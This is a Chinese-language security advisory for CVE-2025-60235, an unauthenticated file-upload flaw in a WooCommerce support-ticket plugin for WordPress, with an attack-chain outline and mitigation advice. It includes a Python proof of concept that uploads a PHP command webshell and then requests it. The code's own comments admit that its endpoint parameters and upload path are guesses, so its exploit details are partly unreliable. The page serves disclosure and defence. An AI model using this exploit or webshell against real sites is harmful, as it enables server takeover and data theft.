IPBUF安全漏洞报告
English
CVE-2025-60235 CVSS 10.0 严重

CVE-2025-60235 WordPress Support Ticket System文件上传漏洞

披露日期: 2025-11-06

漏洞信息

漏洞编号
CVE-2025-60235
漏洞类型
任意文件上传
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Plugify Support Ticket System for WooCommerce (Premium)

相关标签

任意文件上传远程代码执行WordPress插件漏洞CVE-2025-60235WooCommerce支持工单系统高危漏洞无需认证

漏洞概述

CVE-2025-60235是WordPress插件Support Ticket System for WooCommerce中的一个严重安全漏洞。该漏洞允许未经认证的攻击者通过上传恶意文件来执行任意代码。漏洞存在于插件的文件上传功能中,由于缺乏对上传文件类型的充分验证和限制,攻击者可以上传包含恶意代码的PHP文件,并在服务器上执行这些代码,从而获得完整的服务器控制权。此漏洞的CVSS评分高达10.0,属于最严重的漏洞级别,对使用该插件的WordPress网站构成极高风险。攻击者无需任何权限或用户交互即可成功利用此漏洞,只需能够访问目标网站即可发起攻击。

技术细节

该漏洞是典型的任意文件上传(Arbitrary File Upload)漏洞,存在于WordPress插件Support Ticket System for WooCommerce的支持工单文件上传功能中。漏洞的根本原因在于插件未对用户上传的文件进行充分的类型检查和内容验证。攻击者可以构造包含恶意PHP代码的文件(如webshell),通过插件的文件上传接口上传到服务器。由于插件未正确限制上传文件类型且未对上传文件内容进行安全检查,恶意文件可以被保存在可访问的目录中。随后,攻击者通过直接访问该上传文件,触发其中的恶意PHP代码执行,从而在Web服务器上实现远程代码执行(RCE)。由于CVSS向量显示攻击复杂度低且无需认证,该漏洞极易被大规模自动化扫描和利用工具利用。

攻击链分析

STEP 1
步骤1:信息收集
攻击者扫描目标网站,识别是否使用Support Ticket System for WooCommerce插件及其版本
STEP 2
步骤2:构造恶意文件
攻击者创建包含恶意PHP代码的文件(如webshell),用于在服务器上执行任意命令
STEP 3
步骤3:发送上传请求
攻击者通过插件的文件上传接口(如AJAX端点)发送POST请求,上传恶意PHP文件
STEP 4
步骤4:绕过限制
由于插件未验证文件内容,恶意文件绕过MIME类型检查被保存到服务器
STEP 5
步骤5:触发执行
攻击者通过HTTP请求访问上传的恶意文件,触发PHP代码执行
STEP 6
步骤6:获得控制权
成功执行远程代码,可进一步渗透内网、安装后门或窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-60235 PoC - Arbitrary File Upload in Support Ticket System for WooCommerce # This PoC demonstrates uploading a malicious PHP file import requests import sys def exploit(target_url, webshell_content): """ Exploit the arbitrary file upload vulnerability """ # Target endpoint for file upload (typical WordPress AJAX handler) upload_url = f"{target_url}/wp-admin/admin-ajax.php" # Malicious PHP file content (webshell) files = { 'file': ('shell.php', webshell_content, 'application/x-php') } # Additional fields that might be required data = { 'action': 'support_ticket_upload_file', 'ticket_id': '1' } try: print(f"[*] Uploading malicious file to {target_url}...") response = requests.post(upload_url, files=files, data=data, timeout=30) if response.status_code == 200: print(f"[+] File upload request sent successfully") print(f"[*] Response: {response.text}") # Attempt to access the uploaded file # Path may vary based on plugin configuration uploaded_path = f"{target_url}/wp-content/uploads/support-tickets/shell.php" print(f"[*] Attempting to access uploaded file at: {uploaded_path}") shell_response = requests.get(uploaded_path, timeout=10) if shell_response.status_code == 200: print("[+] Webshell uploaded successfully! Remote code execution possible.") return True else: print(f"[-] Upload failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-60235-poc.py <target_url>") sys.exit(1) target = sys.argv[1] webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" exploit(target, webshell)

影响范围

Support Ticket System for WooCommerce (Premium) <= 2.0.7

防御指南

临时缓解措施
立即采取以下临时缓解措施:1) 如果暂无法升级插件,在Web服务器配置中禁止uploads目录执行PHP代码(通过.htaccess或nginx配置);2) 部署WAF规则阻止对插件文件上传端点的未授权访问;3) 限制非管理员用户使用支持工单系统的文件上传功能;4) 监控access.log和error.log日志,关注异常的.php文件上传和访问行为;5) 考虑使用第三方安全插件如Wordfence或Sucuri进行实时防护。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表